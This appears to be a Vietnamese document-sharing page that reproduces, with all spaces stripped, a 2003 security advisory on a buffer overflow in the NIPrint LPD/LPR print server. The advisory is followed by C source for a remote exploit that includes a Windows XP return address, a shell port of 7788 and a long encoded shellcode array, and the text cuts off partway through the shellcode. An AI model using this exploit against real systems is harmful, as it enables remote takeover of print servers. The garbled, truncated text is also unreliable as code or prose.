Thâm Nhập Từ Xa Qua Lniprint Lpdlpr Print Server

Secure Network Operations, Inc. http://www.secnetops.com/researchStrategic Reconnaissance Team research secnetops comTeam Lead Contact kf secnetops com.
Nội dung trích xuất từ tài liệu:
Thâm Nhập Từ Xa Qua Lniprint Lpdlpr Print ServerThâmNhậpTừXaQuaLniprintLpdlprPrintServertrangnàyđãđượcđọc lầnkháiquátlỗiSecureNetworkOperations,Inc.http://www.secnetops.com/researchStrategicReconnaissanceTeamresearchsecnetopscomTeamLeadContactkfsecnetopscomOurMission:************************************************************************SecureNetworkOperationsoffersexpertiseinNetworking,IntrusionDetectionSystems(IDS),SoftwareSecurityValidation,andCorporate/PrivateNetworkSecurity.OurmissionistofacilitateasecureandreliableInternetandinterenterprisecommunicationsinfrastructurethroughtheproductsandservicesweoffer.Tolearnmoreaboutourcompany,productsandservicesortorequestademoofANVILFCSpleasevisitoursiteathttp://www.secnetops.com/,orcallusat:9782633829QuickSummary:************************************************************************AdvisoryNumber:SRT200311020115Product:NIPrintLPDLPRPrintServerVersion:************************************************************************ProofOfConceptStatus:SNOhasworkingPoccode.LowLevelDescription:NIPrintsuffersfromaclassicbufferoverflowcondition.Sending60bytestotheprinterport(515)willcauseanexploitableoverflowintheNIPrintdaemon.Seeourresearchpageathttp://www.secnetops.biz/researchforfurtherdetails.VendorStatus:Vendorwascontactedviaemail.Theissuewasconfirmedhowevernofurthercommunicationoccured.WereccomendthatyoudisableNIPrintuntilavendorpatchisavailable.BugtraqURL:tobeassignedDisclaimerThisadvisorywasreleasedbySecureNetworkOperations,Inc.asamatterofnotificationtohelpadministratorsprotecttheirnetworksagainstthedescribedvulnerability.Exploitsourcecodeisnolongerreleasedinouradvisoriesbutcanbeobtainedundercontract..Contactoursalesdepartmentatsalessecnetopscomforfurtherinformationonhowtoobtainproofofconceptcode.SecureNetworkOperations,Inc.||http://www.secnetops.com/Embracingthefutureoftechnology,protectingyou.Codekhaithác/* emoteexploitforNIPrintLPDLPRPrintServer(Version#ifdef_WIN32#include#include#else#include#include#include#include#include#include#include#include#endif#include//JMPESPADDRESS(inWinXP5.1.2600)#defineRET0x77F5801c#defineSHELL7788charshellcode[]=x90xebx03x5dxebx05xe8xf8xffxffxffx83xc5x15x90x90x90x8bxc5x33xc9x66xb9x10x03x50x80x30x97x40xe2xfax7ex8ex95x97x97xcdx1cx4dx14x7cx90xfdx68xc4xf3x36x97x97x97x97xc7xf3x1exb2x97x97x97x97xa4x4cx2cx97x97x77xe0x7fx4bx96x97x97x16x6cx97x97x68x28x98x14x59x96x97x97x16x54x97x97x96x97xf1x16xacxdaxcdxe2x70xa4x57x1cxd4xabx94x54xf1x16xafxc7xd2xe2x4ex14x57xefx1cxa7x94x64x1cxd9x9bx94x5cx16xaexdcxd2xc5xd9xe2x52x16xeex93xd2xdbxa4xa5xe2x2bxa4x68x1cxd1xb7x94x54x1cx5cx94x9fx16xaexd0xf2xe3xc7xe2x9ex16xeex93xe5xf8xf4xd6xe3x91xd0x14x57x93x7cx72x94x68x94x6cx1cxc1xb3x94x6dxa4x45xf1x1cx80x1cx6dx1cxd1x87xdfx94x6fxa4x5ex1cx58x94x5ex94x5ex94xd9x8bx94x5cx1cxaex94x6cx7exfex96x97x97xc9x10x60x1cx40xa4x57x60x47x1cx5fx65x38x1exa5x1axd5x9fxc5xc7xc4x68x85xcdx1exd5x93x1axe5x82xc5xc1x68xc5x93xcdxa4x57x3bx13x57xe2x6exa4x5ex1dx99x13x5exe3x9exc5xc1xc4x68x85xcdx3cx75x7fxd1xc5xc1x68xc5x93xcdx1cx4fxa4x57x3bx13x57xe2x6exa4x5ex1dx99x17x6ex95xe3x9exc5xc1xc4x68x85xcdx3cx75x70xa4x57xc7xd7xc7xd7xc7x68xc0x7fx04xfdx87xc1xc4x68xc0x7bxfdx95xc4x68xc0x67xa4x57xc0xc7x27x9bx3cxcfx3cxd7x3cxc8xdfxc7xc0xc1x3axc1x68xc0x57xdfxc7xc0x3axc1x3axc1x68xc0x57xdfx27xd3x1ex90xc0x68xc0x53xa4x57x1cxd1x63x1exd0xabx1exd0xd7x1cx91x1exd0xafxa4x57xf1x2fx96x96x1exd0xbbxc0xc0xa4x57xc7xc7xc7xd7xc7xdfxc7xc7x3axc1xa4x57xc7x68xc0x5fx68xe1x67x68xc0x5bx68xe1x6bx68xc0x5bxdfxc7xc7xc4x68xc0x63x1cx4fxa4x57x23x93xc7x56x7fx93xc7x68xc0x43x1cx67xa4x57x1cx5fx22x93xc7xc7xc0xc6xc1x68xe0x3fx68xc0x47x14xa8x96xebxb5xa4x57xc7xc0x68xa0xc1x68xe0x3fx68xc0x4bx9cx57xe3xb8xa4x57xc7x68xa0xc1xc4x68xc0x6fxfdxc7x68xc0x77x7cx5fxa4x57xc7x23x93xc7xc1xc4x68xc0x6bxc0xa4x5exc6xc7xc1x68xe0x3bx68xc0x4fxfdxc7x68xc0x77x7cx3dxc7x68xc0x73x7cx69xcfxc7x1exd5x65x54x1cxd3xb3x9bx92x2fx97x97x ...